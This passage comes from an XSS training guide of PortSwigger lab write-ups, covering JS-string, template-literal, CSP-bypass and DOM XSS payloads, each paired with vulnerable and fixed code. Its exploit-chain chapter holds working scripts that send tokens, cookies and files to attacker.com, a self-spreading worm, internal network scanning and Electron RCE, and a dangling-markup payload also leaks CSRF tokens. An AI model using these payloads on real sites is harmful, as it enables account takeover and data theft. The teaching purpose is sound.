If we inject a backslash before our quote, it *escapes the escape*:

```
Input:      \'-alert(1)-\'
Server escapes ': '\\'-alert(1)-\\'

Rendered JS:
var searchTerms = '\\'-alert(1)-\\';
```

What the JS engine sees:

1. '\\\' – string containing one backslash
2. ' – this closes the string (backslash was consumed by the \\)
3. -alert(1)- – executes
4. '\\\' – another string with a backslash

7.4 Payload

```
\'-alert(document.domain)-\'
```

```
var searchTerms = '\\'-alert(document.domain)-\\';
```

The injected \ escapes the server-added \, freeing the ' to close the string. Alert fires. [OK]

7.5 Source-Level Analysis

[X] Vulnerable – incomplete escaping

```
1 # Escapes ' but not \ -- incomplete!
2 query_escaped = query.replace("'", "\\'")
3
4 return f"<script>var searchTerms = '{query_escaped}';</script>"
5
6 # Input: \'-alert(1)-\'
```

```
7 # After replace: \|'-alert(1)-\|'    <- backslash not escaped
8 # Rendered: var searchTerms = '\|'-alert(1)-\|';    <- breakout!
```

[OK] Safe – escape backslash FIRST then quote

```
1 import json
2 # json.dumps handles ALL JS string escaping correctly
3 js_safe = json.dumps(query)
4 return f"<script>var searchTerms = {js_safe};</script>"
```

7.6 Key Takeaways

Lesson	Detail
Escape the escaper	Always escape <code>\</code> before escaping <code>'</code>
Order matters	<code>\</code> must be escaped first or it neutralises your escaping
Manual escaping is fragile	One missed character breaks the whole defence
Use <code>json.dumps()</code>	It handles all edge cases correctly

Chapter 8

Lab 07 – Reflected XSS in JS String with All Quotes and Backslash Escaped

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Practitioner
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	reflected-xss, js-context, script-tag-injection, angle-brackets

8.1 Lab Objective

The developer now escapes single quotes, double quotes, AND backslashes inside the JS string. Break out and execute `alert()`.

8.2 What Is Blocked Now

```
' -> \'    (single quote escaped)
" -> \"    (double quote escaped)
\ -> \\    (backslash escaped)
< -> &lt;    (angle bracket HTML encoded)
> -> &gt;    (angle bracket HTML encoded)
```

Breaking out of the JavaScript string using quotes is now impossible. We need a completely different approach.

8.3 The Insight – We Don't Need to Break Out of the String

When ALL string-breaking characters are escaped, the string itself cannot be terminated. But we are still inside a `<script>` block. What if we inject a **closing script tag**?

```
Input:      </script><script>alert(document.domain)</script>

Rendered:
<script>
var searchTerms = '</script><script>alert(document.domain)</script>';
</script>
```

8.4 Why This Works – HTML Parser Precedence

This is the key insight: **the HTML parser runs before the JavaScript engine.**

When the HTML parser encounters `</script>` inside a script block, it closes the script block immediately – it does not wait for the JS engine to confirm string context. The HTML parser wins.

1. HTML parser enters Script data state on `<script>`
2. HTML parser scans for `</script>` (case-insensitive)
3. It finds our injected `</script>` – closes the first script block
4. Our `<script>alert(document.domain)</script>` is now in HTML data state
5. HTML parser processes it as a new script tag – executes alert [OK]

The single quote and backslash escaping is irrelevant – we never tried to break out of the JS string. We broke out of the `<script>` block at the HTML parser level.

8.5 Payload

```
</script><script>alert(document.domain)</script>
```

Note: angle brackets in THIS context are NOT encoded – only inside the JS string are they encoded. The injection itself contains `</script>` which closes the block before angle bracket encoding has any effect on our new tags.

8.6 Source-Level Analysis

[X] Vulnerable – escaping string chars but not script tag

```

1 import re
2
3 def escape_js_string(s):
4     s = s.replace('\\', '\\\\')
5     s = s.replace('"', '\\"')
6     s = s.replace("'", '\\\'')
7     return s
8
9 query_safe = escape_js_string(query)
10 # Does NOT handle </script> tag injection!
11 return f"<script>var q = '{query_safe}';</script>"

```

[OK] Safe – json.dumps with script tag protection

```

1 import json
2
3 # json.dumps + replace </script> to prevent HTML parser from
  # closing block
4 js_safe = json.dumps(query).replace('</', '<\\/')
5 return f"<script>var q = {js_safe};</script>"
6
7 # <\/ is valid JS but not recognised as </script> by HTML parser

```

8.7 Key Takeaways

Lesson	Detail
HTML parser beats JS engine	<code></script></code> closes the block regardless of JS string context
Different parser, different breakout	When string breakout is blocked, try block-level breakout
<code><</code> trick	Replace <code></</code> with <code><</code> in JS strings to prevent tag injection
Defence layers must match attack layers	JS escaping and HTML escaping are both needed

Chapter 9

Lab 08 – Stored XSS into onclick with Quotes and Backslash Escaped

Platform	PortSwigger Web Security Academy
Category	Stored XSS
Difficulty	Practitioner
Severity	HIGH
CVSS	7.7 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N)
Tags	stored-xss, onclick, html-entities, js-in-attribute

9.1 Lab Objective

The `website` field is injected into an `onclick` attribute. Quotes and backslashes are escaped, angle brackets are HTML-encoded. Execute `alert()`.

9.2 The Injection Context

The `website` field now appears in a different location:

```
<a href="https://example.com"
  onclick="var tracker={action:'https://example.com'};
           trackLink(this.href, tracker)">
  TestUser
</a>
```

Our injection lands inside an **HTML attribute containing JavaScript** – a doubly-nested context: HTML attribute → JavaScript string.

9.3 The Three Parsing Layers

1. **HTML parser** processes the `onclick` attribute value
2. **HTML entity decoding** occurs on the attribute value
3. **JS engine** executes the decoded attribute content on click

This layering is the key insight. HTML entities are decoded *before* the JS engine sees the content.

9.4 HTML Entity Bypass

Single quotes and backslashes are escaped – but HTML entities are not blocked. We can encode our single quote as an HTML entity:

```
' -> &apos;    (HTML entity for single quote)
' -> &#39;     (decimal HTML entity)
' -> &#x27;    (hex HTML entity)
```

The HTML parser decodes `'` back to `'` before the JS engine runs. The JS engine sees a real single quote and closes the string.

9.5 Payload

```
http://foo?&apos;-alert(document.domain)-&apos;
```

Rendered HTML:

```
onclick="var tracker={action:'http://foo?&apos;-alert(document.
domain)-&apos;'};..."
```

After HTML entity decoding (before JS runs):

```
var tracker={action:'http://foo?'-alert(document.domain)-''};
```

The `'` was decoded to `'` by the HTML parser. The single quote terminates the string. Alert fires on click. [OK]

9.6 Why Backslash Escaping Doesn't Help Here

The server escapes `'` to `'` – but we never inject a raw `'`. We inject `'`, which is decoded to `'` *after* the server's escaping logic runs. The escaping never sees the actual quote character.

9.7 Source-Level Analysis

[X] Vulnerable – escaping happens before HTML decoding

```
1 website = request.form.get('website', '')
2 # Server escapes quotes and backslash
3 website_escaped = website.replace('\\', '\\\\').replace("'", "\\'")
4 # But &apos; passes through -- it's not a raw quote!
5 # HTML parser later decodes &apos; -> ' after this escaping
6 html = f'<a onclick="var t={{action:\'{website_escaped}\'}}">...'
```

[OK] Safe – URL allowlist removes the problem entirely

```
1 from urllib.parse import urlparse
2
3 def is_safe_url(url):
4     try:
5         p = urlparse(url)
6         return p.scheme in ('http', 'https')
7     except Exception:
8         return False
9
10 if not is_safe_url(website):
11     abort(400)
12 # Only safe URLs stored -- no injection possible
```

9.8 Key Takeaways

Lesson	Detail
HTML decoding before JS <code>&apos;</code> bypasses quote escaping	Entities decoded before JS engine runs Entity encodes the char the filter looks for
Nested contexts = layered parsing	HTML attr + JS string = two parse steps
URL allowlist prevents all of this	Validate scheme at input – no injection possible

Chapter 10

Lab 09 – Reflected XSS in a Template Literal

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Practitioner
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	reflected-xss, template-literal, js-context, no-breakout

10.1 Lab Objective

The injection lands inside a JavaScript template literal (backtick string). Angle brackets, single quotes, double quotes, backslashes, and backticks are all escaped. Execute `alert()` without closing the string.

10.2 What Is Blocked

```
<    ->    &lt;      >    ->    &gt;
'    ->    \'      "    ->    \"
\    ->    \\     `    ->    `
```

All string-terminating characters are escaped. We cannot break out.

10.3 The Template Literal Expression Syntax

Template literals in JavaScript support embedded expressions with `${}`:

```
var x = 'Hello ${name}, you have ${count} messages';  
//      ^^^^^      ^^^^^  
//      expression evaluated and interpolated
```

Crucially: `${` and `}` are **not** string-terminating characters. They trigger expression evaluation *inside* the template literal. No closing backtick needed.

10.4 Payload – Expression Injection Without Breakout

```
${alert(document.domain)}
```

Rendered JavaScript:

```
var searchTerms = '${alert(document.domain)}';
```

The backtick string is never closed. But `alert(document.domain)` executes as an embedded expression when the template literal is evaluated. [OK]

None of the escaped characters (`<``>``'``"``\``'`) appear in the payload – all escaping is completely irrelevant.

10.5 Why This Attack Is Unique

Context	Behaviour
Single-quoted string	Must close with <code>'</code>
Double-quoted string	Must close with <code>"</code>
Template literal	<code>\${expr}</code> evaluates inline – no closing needed

Template literals are the only JS string type where code execution is possible without terminating the string first.

10.6 Source-Level Analysis

[X] Vulnerable – user data in template literal

```

1 // Node.js -- developer used template literal for the JS variable
2 // and escaped everything except ${ }
3 const escaped = query
4   .replace(/\\/g, '\\\\').replace(/'/g, "\\'")
5   .replace(/"/g, '\\"').replace(/'/g, '\\\'')
6   .replace(/</g, '&lt;').replace(/>/g, '&gt;');
7
8 res.send('
9   <script>
10     var searchTerms = \"${escaped}\";
11   </script>
12 ');
13 // Input: ${alert(1)} -- none of the escaped chars present!
14 // Rendered: var searchTerms = \"${alert(1)}\"; <- executes!

```

[OK] Safe – use regular string and json.dumps

```

1 // Never use template literals with user data in JS context
2 const jsSafe = JSON.stringify(query);
3 res.send('<script>var searchTerms = ${jsSafe};</script>');
4 // Or better: store in data-* attribute, read with dataset

```

10.7 Key Takeaways

Lesson	Detail
<code>\${}</code> evaluates without closing	Only JS string type with inline execution
No breakout needed	Expression runs inside the literal
All escaping irrelevant	Payload contains no escaped characters
Never use template literals with user data	Use regular strings + <code>json.dumps()</code>

Chapter 11

Lab 10 – Reflected XSS Protected by CSP with Dangling Markup

Platform	PortSwigger Web Security Academy
Category	Reflected XSS / CSP Bypass
Difficulty	Expert
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	csp, dangling-markup, data-exfiltration, strict-csp

11.1 Lab Objective

A strict CSP blocks inline script execution. Use a dangling markup injection to exfiltrate a CSRF token from the page to the attacker's server.

11.2 What is a Dangling Markup Attack?

When CSP blocks script execution entirely, XSS is prevented – but data exfiltration may still be possible using **dangling markup injection**: injecting an unclosed HTML tag that causes the browser to include subsequent page content (like CSRF tokens) as part of an attribute value sent to an external server.

```
Inject: <img src='https://attacker.com/steal?data=
      ^^ unclosed attribute -- browser collects subsequent HTML
      as data
```

```
Browser sends GET request to:  
https://attacker.com/steal?data=...all page content until next quote  
...
```

11.3 The CSP Header

```
Content-Security-Policy:  
  default-src 'self';  
  object-src 'none';  
  script-src 'self';  
  img-src *;          <- images allowed from any origin!
```

`script-src 'self'` blocks inline scripts – so traditional XSS fails. But `img-src *` allows images from any origin – including our server.

11.4 The Injection Point

The search query is reflected into the page without encoding:

```
<h1>0 results for 'hello'</h1>  
  
<!-- CSRF token visible elsewhere on the page -->  
<input type="hidden" name="csrf" value="SECRET_CSRF_TOKEN">
```

11.5 Payload – Dangling Image Tag

```
"><img src='https://attacker.com/steal?data=
```

Rendered HTML:

```
<h1>0 results for '><img src='https://attacker.com/steal?data=  
'</h1>  
...  
<input type="hidden" name="csrf" value="SECRET_CSRF_TOKEN">  
...
```

The `<img src='...'` tag is opened but not closed. The browser's HTML parser continues reading page content as part of the `src` attribute value until it finds the next single quote – which may be inside the CSRF token field. All of that content is sent to the attacker's server as the image URL.

11.6 What the Attacker Receives

```
GET /steal?data=%0A%27%3C/h1%3E%0A...csrf%22+value%3D%22
SECRET_CSRF_TOKEN HTTP/1.1
```

URL-decoded: the CSRF token is embedded in the request. The attacker now has the victim's CSRF token and can forge requests on their behalf – even without JavaScript execution.

11.7 Why This Bypasses CSP

CSP controls *script execution*. It does not prevent:

- Loading images from external origins (`img-src *`)
- The HTML parser consuming page content as attribute values
- GET requests made by the browser to load images

Dangling markup is not XSS – it is HTML injection for data exfiltration, and many CSP configurations do not protect against it.

11.8 Remediation

[OK] Fix 1 – Encode injection point properly

```
Encode " -> &quot; at the reflection point so the injected "
cannot
close the attribute and open a new img tag.
```

[OK] Fix 2 – Tighten CSP img-src

```
# Change: img-src *
# To:      img-src 'self'
# This blocks the dangling markup exfiltration request
```

```
Content-Security-Policy: default-src 'self'; img-src 'self';  
script-src 'self';
```

11.9 Key Takeaways

Lesson	Detail
CSP blocks scripts, not all injection	HTML injection for data theft still works
<code>img-src *</code> is dangerous	Wildcards in CSP create exfiltration channels
Dangling markup needs no JS	Pure HTML injection can leak sensitive data
Fix the root cause	Encode output correctly – don't rely on CSP alone
CSRF tokens can be stolen without XSS	Dangling markup collects page content in image requests

Chapter 12

Lab 11 – Reflected XSS Protected by CSP with CSP Bypass

Platform	PortSwigger Web Security Academy
Category	Reflected XSS / CSP Bypass
Difficulty	Expert
Severity	HIGH
CVSS	8.1 (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N)
Tags	csp-bypass, reflected-xss, nonce-bypass, header-injection

12.1 Lab Objective

The application uses a CSP that whitelists specific endpoints. Bypass the CSP and execute `alert()` by exploiting a reflected parameter in the CSP header itself that allows injection of a nonce.

12.2 The CSP Header

```
Content-Security-Policy:
  default-src 'self';
  object-src 'none';
  script-src 'self' 'nonce-RANDOM' 'unsafe-eval';
```

Scripts must either: come from `'self'`, have the correct nonce, or use `unsafe-eval`. Inline scripts without the nonce are blocked.

12.3 The Vulnerability – Reflected Value in CSP Header

The application reflects the `token` parameter directly into the `Content-Security-Policy` response header:

```
GET /?search=hello&token=INJECTED HTTP/2

HTTP/2 200 OK
Content-Security-Policy: default-src 'self';
  script-src 'nonce-RANDOM' 'unsafe-eval' 'INJECTED';
```

We control content inside the CSP header. This lets us inject directives.

12.4 Injecting unsafe-inline via the token Parameter

```
token=;script-src-elem 'unsafe-inline'
```

Resulting CSP header:

```
Content-Security-Policy: default-src 'self';
  script-src 'nonce-abc123' 'unsafe-eval' ' ';
  script-src-elem 'unsafe-inline'
```

`script-src-elem 'unsafe-inline'` overrides the `script-src` directive for inline `<script>` elements specifically, allowing inline script execution.

12.5 Full Exploit URL

```
/?search=<script>alert(document.domain)</script>
  &token=;script-src-elem 'unsafe-inline'
```

1. `token` parameter injects `script-src-elem 'unsafe-inline'` into CSP
2. CSP now permits inline scripts via `script-src-elem`
3. `search` parameter injects `<script>alert(document.domain)</script>`

4. Browser checks CSP – `unsafe-inline` is now permitted
5. Alert fires [OK]

12.6 Why script-src-elem Takes Precedence

The `script-src-elem` directive specifically controls inline `<script>` element behaviour and takes precedence over the general `script-src` directive for that context. By injecting it with `'unsafe-inline'`, we override the nonce requirement for script elements.

12.7 Source-Level Analysis

[X] Vulnerable – reflecting user input into CSP header

```
1 @app.route('/')
2 def index():
3     token = request.args.get('token', '')
4     # VULNERABLE -- token reflected directly into CSP header
5     csp = f"default-src 'self'; script-src 'nonce-{generate_nonce()}'"
6     response = make_response(render_template('index.html'))
7     response.headers['Content-Security-Policy'] = csp
8     return response
```

[OK] Safe – never reflect user input into security headers

```
1 @app.route('/')
2 def index():
3     nonce = generate_nonce()
4     # CSP built from trusted values only -- no user input
5     csp = f"default-src 'self'; script-src 'nonce-{nonce}'"
6     response = make_response(render_template('index.html', nonce=
7 nonce))
8     response.headers['Content-Security-Policy'] = csp
9     return response
```

12.8 Broader Implications – Header Injection

Reflecting user input into HTTP response headers is a class of vulnerability broader than just CSP. Similar attacks apply to:

- **CORS headers** – inject `Access-Control-Allow-Origin: *`
- **Set-Cookie headers** – inject session fixation or cookie flags
- **Location headers** – open redirect via header injection
- **X-Frame-Options** – disable clickjacking protection

Any user-controlled value reflected into an HTTP header without sanitisation is a potential security header bypass.

12.9 Key Takeaways

Lesson	Detail
Never reflect input into headers	User data in CSP/CORS/Cookie headers is critical
<code>script-src-elem</code> beats <code>script-src</code>	More specific directive takes precedence
CSP bypass = full XSS	Once CSP is bypassed, execution is unrestricted
Header injection is a broad class	Applies to all security response headers
Audit all response headers	Check if any header value contains user input

Chapter 13

Exploit Chains – Going Beyond alert(1)

13.1 Overview

This chapter covers advanced exploitation techniques that chain XSS with other vulnerabilities to achieve maximum impact. This is the research-level thinking that separates a penetration tester from a script user.

13.2 Chain 1 – XSS to Account Takeover via Token Theft

13.2.1 Scenario

Application uses JWT stored in `localStorage`. XSS is present on a page the victim visits.

```
1 <script>
2 // Steal JWT from localStorage
3 var token = localStorage.getItem('authToken')
4             || localStorage.getItem('jwt')
5             || localStorage.getItem('access_token');
6
7 if (token) {
8     fetch('https://attacker.com/steal?t=' + encodeURIComponent(
9         token));
10 }
11
12 // Also try sessionStorage
13 var sessToken = sessionStorage.getItem('authToken');
14 if (sessToken) {
15     fetch('https://attacker.com/steal?s=' + encodeURIComponent(
16         sessToken));
17 }
```

```
15 }  
16 </script>
```

13.2.2 Why This Bypasses HttpOnly

`HttpOnly` protects `document.cookie` – it does NOT protect `localStorage` or `sessionStorage`. Modern applications that store JWTs client-side are fully exposed to XSS token theft.

13.3 Chain 2 – XSS Bypassing CSRF Protection

13.3.1 Scenario

Application has CSRF tokens on all state-changing requests. An attacker wants to change the victim's email address.

```
1 <script>  
2 // Step 1: Fetch the page containing the CSRF token  
3 fetch('/account/settings', {credentials: 'include'})  
4   .then(r => r.text())  
5   .then(html => {  
6     // Step 2: Extract the CSRF token from the DOM  
7     var parser = new DOMParser();  
8     var doc = parser.parseFromString(html, 'text/html');  
9     var csrf = doc.querySelector('input[name="csrf"]').value;  
10  
11     // Step 3: Use the token to make an authenticated state change  
12     return fetch('/account/change-email', {  
13       method: 'POST',  
14       credentials: 'include',  
15       headers: {'Content-Type': 'application/x-www-form-urlencoded'},  
16       body: 'email=attacker%40evil.com&csrf=' + encodeURIComponent(csrf)  
17     });  
18   })  
19   .then(() => {  
20     // Step 4: Exfiltrate confirmation  
21     fetch('https://attacker.com/done');  
22   });  
23 </script>
```

13.3.2 Why CSRF Tokens Don't Stop XSS

CSRF tokens prevent *cross-origin* requests from forged pages because they cannot read the token from a different origin. But XSS runs in the *same origin* as the application – it can read anything on the page, including CSRF tokens. XSS completely defeats CSRF protection.

13.4 Chain 3 – Stored XSS Worm

13.4.1 Scenario

Stored XSS in a social platform's bio field. Payload self-replicates across users who view the infected profile.

```
1 <script>
2 var worm = '<script>/* worm code */</script>';
3 var cookie = document.cookie;
4
5 // Exfiltrate session
6 new Image().src = 'https://attacker.com/steal?c='
7   + encodeURIComponent(cookie);
8
9 // Replicate: fetch CSRF token, post worm as bio
10 fetch('/account/profile')
11   .then(r => r.text())
12   .then(html => {
13     var csrf = html.match(/name="csrf" value="([^"]+)"/)[1];
14     return fetch('/account/update-bio', {
15       method: 'POST',
16       credentials: 'include',
17       headers: {'Content-Type': 'application/x-www-form-urlencoded'},
18       body: 'bio=' + encodeURIComponent(worm) + '&csrf=' + csrf
19     });
20   });
21 </script>
```

13.4.2 Real-World Reference

The Samy Worm (2005) used this exact pattern to infect 1 million MySpace profiles in under 20 hours. The worm added Samy as a friend and copied itself to each infected profile, exponentially spreading with each visit.

13.5 Chain 4 – XSS to Internal Network Scanning

13.5.1 Scenario

XSS in an application used within a corporate network. The victim's browser can reach internal services the attacker cannot.

```
1 <script>
2 // Scan common internal IP ranges from victim's browser
```

```
3 var targets = [
4   'http://192.168.1.1/admin',
5   'http://10.0.0.1/admin',
6   'http://172.16.0.1/',
7   'http://localhost:8080/',
8   'http://localhost:9200/', // Elasticsearch
9   'http://localhost:6379/'  // Redis
10 ];
11
12 targets.forEach(function(url) {
13   fetch(url, {mode: 'no-cors', cache: 'no-cache'})
14     .then(function() {
15       // Host responded -- report to attacker
16       new Image().src = 'https://attacker.com/found?url='
17         + encodeURIComponent(url);
18     })
19     .catch(function() {
20       // Host did not respond -- skip
21     });
22 });
23 </script>
```

13.5.2 Impact

The attacker uses the victim's browser as a pivot point to discover and probe internal network services that are otherwise inaccessible from the internet. This is particularly dangerous in corporate environments and cloud metadata endpoints (<http://169.254.169.254>).

13.6 Chain 5 – XSS in Electron to RCE

13.6.1 Scenario

A desktop application built with Electron has XSS in its web content renderer. If `nodeIntegration` is enabled, the attacker achieves Remote Code Execution.

```
1 <script>
2 // Check if Node.js APIs are available
3 if (typeof require !== 'undefined') {
4   // Node.js is accessible -- full RCE
5   var exec = require('child_process').exec;
6
7   // Windows
8   exec('whoami', function(err, stdout) {
9     fetch('https://attacker.com/rce?out=' + encodeURIComponent(
10      stdout));
11   });
12
13   // Or open a reverse shell, exfiltrate files, etc.
```



```
13     var fs = require('fs');
14     var files = fs.readdirSync(require('os').homedir());
15     fetch('https://attacker.com/files?f=' + encodeURIComponent(
16         files.join(',')));
17 </script>
```

13.6.2 Why Electron XSS is Critical

Electron apps run with desktop-level privileges. XSS in Electron with `nodeIntegration: true` gives an attacker the same access as the logged-in user – file system, network, process execution. This is why Electron XSS is rated **CRITICAL** in bug bounty programs.

13.6.3 Mitigation

- Set `nodeIntegration: false` (default in modern Electron)
- Set `contextIsolation: true`
- Use `sandbox: true`
- Apply strict CSP in the Electron renderer process

Chapter 14

Lab 12 – DOM XSS in document.write Sink via location.search

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Apprentice
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	dom-xss, document.write, location.search, client-side

14.1 Lab Objective

Exploit a DOM-based XSS vulnerability where `location.search` flows into `document.write()` without sanitisation.

14.2 What is DOM XSS – The Shift in Thinking

DOM XSS is fundamentally different from every lab we have done so far:

Factor	Reflected/Stored	DOM XSS
Where payload lives	Server embeds in HTML response	Client JS reads and writes it
Server sees payload	Yes	No
WAF/scanner catches	Usually yes	Usually no
Where to look	HTTP response body	JavaScript source code
Tool needed	Burp Suite	Browser DevTools

[!] Warning

The server sends a completely clean HTTP response. The vulnerability only materialises when client-side JavaScript reads attacker-controlled data and writes it into the DOM. Traditional server-side scanners miss DOM XSS entirely.

14.3 Finding the Vulnerability – Reading JS Source

Open DevTools (F12) → Sources tab, or use Ctrl+U to view page source. Look for JavaScript that reads from URL parameters:

```
1 function trackSearch(query) {
2     document.write('
```

Now let us trace what happens with a crafted input:

```
URL: /search?search="><svg onload=alert(document.domain)>
document.write writes:
<svg onload=alert(document.domain)>">
```

Breaking it down:

1. " closes the `src` attribute value
2. > closes the `<img>` tag
3. `<svg onload=alert(document.domain)>` is now in HTML data state
4. Browser renders the SVG element and fires `onload`
5. `alert(document.domain)` executes [OK]

14.5 Why SVG Instead of script Tag?

document.write and script tags

`document.write()` does not execute `<script>` tags inserted after the page has already loaded – this is browser-specified behaviour. However, inline event handlers on other HTML elements (`onload`, `onerror`, `onclick`) still execute. SVG with `onload` is the standard `document.write` DOM XSS payload.

14.6 Payload

```
"><svg onload=alert(document.domain)>
```

```
/search?search="><svg onload=alert(document.domain)>
```

14.7 Source-Level Analysis

[X] Vulnerable – raw source flowing to document.write

```
1 // VULNERABLE -- location.search flows directly to document.write
2 var query = new URLSearchParams(window.location.search).get('
   search');
3 document.write('<img src="/tracker.gif?q=' + query + '>');
4 // No sanitisation, no encoding -- classic source-to-sink
```

[OK] Safe – createElement avoids HTML injection entirely

```
1 // SAFE -- createElement never parses HTML
2 var query = new URLSearchParams(window.location.search).get('
  search');
3 if (query) {
4   var img = document.createElement('img');
5   // encodeURIComponent prevents URL parameter injection
6   img.src = '/tracker.gif?q=' + encodeURIComponent(query);
7   document.body.appendChild(img);
8 }
```

14.8 Key Takeaways

Lesson	Detail
DOM XSS is client-side only	Server response is clean – WAFs miss it
Read JS source, not HTTP response	DevTools Sources tab is your tool
<code>document.write()</code> is a dangerous sink	Writes raw HTML – any injection executes
SVG <code>onload</code> beats <code><script></code>	Works where script tags are blocked post-load
Source-to-sink thinking	<code>location.search</code> → no sanitisation → <code>document.write</code>

Chapter 15

Lab 13 – DOM XSS in innerHTML Sink via location.search

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Apprentice
Severity	HIGH
Tags	dom-xss, innerHTML, img-onerror, location.search

15.1 Lab Objective

Exploit DOM XSS where `location.search` flows into `innerHTML`.

15.2 The Vulnerable Code

```
1 var searchResultsSpan = document.getElementById('searchResultsSpan');
2 var query = new URLSearchParams(window.location.search).get('search');
3 searchResultsSpan.innerHTML = 'You searched for: ' + query;
```

Source: `location.search` Sink: `innerHTML` – parses and renders HTML directly

15.3 innerHTML vs document.write

Behaviour	document.write	innerHTML
Executes <code><script></code> tags	No	No
Executes inline event handlers	Yes	Yes
Standard workaround	SVG <code>onload</code>	img <code>onerror</code>

Why script tags do not execute via innerHTML

The HTML spec explicitly states that script elements inserted via `innerHTML` must not execute. This applies to both `innerHTML` and `document.write()`. Event handlers on other elements are unaffected by this rule.

15.4 Payload – img onerror Handler

```
<img src=1 onerror=alert(document.domain)>
```

The browser tries to load `src=1` – this fails immediately (invalid image source). The `onerror` event fires and executes `alert(document.domain)`.

```
/search?search=<img src=1 onerror=alert(document.domain)>
```

15.5 Remediation

[OK] Safe – textContent for plain text output

```
1 // SAFE -- textContent treats input as plain text, never parses
  HTML
2 var query = new URLSearchParams(window.location.search).get('
  search');
3 searchResultsSpan.textContent = 'You searched for: ' + query;
4 // <img src=1 onerror=alert(1)> is displayed as literal text, not
  rendered
```

15.6 Key Takeaways

Lesson	Detail
<code>innerHTML</code> parses HTML	Any injected tags are rendered and event handlers fire
<code>script</code> tags blocked	But <code>img onerror</code> and <code>svg onload</code> still work
<code>textContent</code> is safe	Treats everything as plain text – no HTML parsing
Same source, different sink	Same <code>location.search</code> source, different sink behaviour

Chapter 16

Lab 14 – DOM XSS in jQuery Anchor href Attribute via location.search

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Apprentice
Severity	HIGH
Tags	dom-xss, jquery, href, javascript-uri, location.search

16.1 Lab Objective

Exploit DOM XSS where jQuery sets an anchor `href` attribute using `location.search`, creating a URL sink.

16.2 The Vulnerable Code

```
1 $(function() {  
2     $('#backLink').attr('href',  
3         (new URLSearchParams(window.location.search)).get('returnUrl')  
4     );  
5 });
```

Source: `location.search` (`returnUrl` parameter)

Sink: `jQuery.attr('href', ...)` – a URL attribute sink

Result: Same as Lab 04, but driven by client-side JavaScript

16.3 Payload

Same as Lab 04 – the `javascript:` URI scheme:

```
javascript:alert(document.domain)
```

```
/?returnUrl=javascript:alert(document.domain)
```

The jQuery sets the `href` to `javascript:alert(document.domain)`. When the user clicks the back link, alert fires.

16.4 Why This is DOM XSS Not Stored/Reflected

The server sends no malicious content. The URL parameter is read by jQuery client-side and written into the DOM. No server-side sanitisation would catch this – the fix must be in the client JavaScript.

16.5 Remediation

[OK] Safe – validate scheme before setting href

```
1 $(function() {  
2     var returnUrl = new URLSearchParams(window.location.search).  
   get('returnUrl');  
3     // Allowlist safe schemes only  
4     if (returnUrl && /^https?:\/\//.test(returnUrl)) {  
5         $('#backLink').attr('href', returnUrl);  
6     } else {  
7         $('#backLink').attr('href', '/'); // fallback to home  
8     }  
9 });
```

16.6 Key Takeaways

Lesson	Detail
jQuery sinks are common	<code>.attr('href')</code> , <code>.html()</code> , <code>.append()</code> all dangerous with user data
Client-side URL sinks same risk	<code>javascript:</code> URI applies to DOM XSS too
Fix must be client-side	Server-side sanitisation cannot see DOM manipulation
Regex allowlist for URLs	<code>/^https?:\/\//</code> is fast and safe

Chapter 17

Lab 15 – DOM XSS in jQuery Selector Sink via hashchange Event

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Apprentice
Severity	HIGH
Tags	dom-xss, jquery, hashchange, location.hash, iframe-delivery

17.1 Lab Objective

Exploit DOM XSS via the `hashchange` event where `location.hash` flows into jQuery's `$(...)` selector, which acts as an HTML sink.

17.2 The Vulnerable Code

```
1 $(window).on('hashchange', function() {  
2     var hash = decodeURIComponent(location.hash.slice(1));  
3     $(hash).scrollIntoView(); // jQuery selector sink  
4 });
```

Source: `location.hash`

Sink: `$(hash)` – jQuery's main selector function

When passed a string starting with `<`, jQuery treats it as HTML and creates DOM elements from it, making it an HTML injection sink.

17.3 Payload

```
<img src=1 onerror=alert(document.domain)>
```

```
/#<img src=1 onerror=alert(document.domain)>
```

jQuery receives the string, sees it starts with `<`, creates an `img` element, browser tries to load `src=1`, fails, `onerror` fires.

17.4 Delivery via iframe (Exploiting hashchange Without User Interaction)

The `location.hash` is never sent to the server – so we cannot deliver via a simple link click without the user also changing the hash. Instead, we use an `iframe` with the `onload` event to programmatically set the hash:

```
1 <iframe src="https://target.com/#" onload="
2   this.src='https://target.com/#<img src=1 onerror=print()>'
3 "></iframe>
```

The `iframe` loads the page first (with empty hash), then `onload` updates the hash, triggering the `hashchange` event in the target page.

17.5 Remediation

[OK] Safe – never pass user data to jQuery selector

```
1 $(window).on('hashchange', function() {
2   var hash = decodeURIComponent(location.hash.slice(1));
3   // Sanitise: only use hash as a CSS ID selector, not raw HTML
4   if (/^[a-zA-Z0-9_-]+$/.test(hash)) {
5     var element = document.getElementById(hash);
6     if (element) element.scrollIntoView();
7   }
8 })
```

```
7 }  
8 });
```

17.6 Key Takeaways

Lesson	Detail
jQuery <code>\$(...)</code> is an HTML sink	Strings starting with <code><</code> are parsed as HTML
<code>location.hash</code> never sent to server	Server-side defences are irrelevant
iframe delivery for hashchange	Use iframe <code>onload</code> to trigger hash updates
Validate before using as selector	Allowlist <code>[a-zA-Z0-9_-]</code> for ID selectors

Chapter 18

Lab 16 – DOM XSS in AngularJS Expression via ng-app

Platform	PortSwigger Web Security Academy
Category	DOM-Based XSS
Difficulty	Apprentice
Severity	HIGH
Tags	dom-xss, angularjs, template-injection, ng-app, csti

18.1 Lab Objective

Exploit a client-side template injection (CSTI) vulnerability in AngularJS. User input is reflected inside an `ng-app` directive scope and AngularJS evaluates double-curly-brace expressions.

18.2 What is Client-Side Template Injection?

AngularJS scans the DOM for elements with the `ng-app` attribute and processes `{{ expression }}` syntax within their scope, evaluating the expressions as JavaScript. If user input is reflected inside this scope without sanitisation, the attacker can inject expressions that execute code.

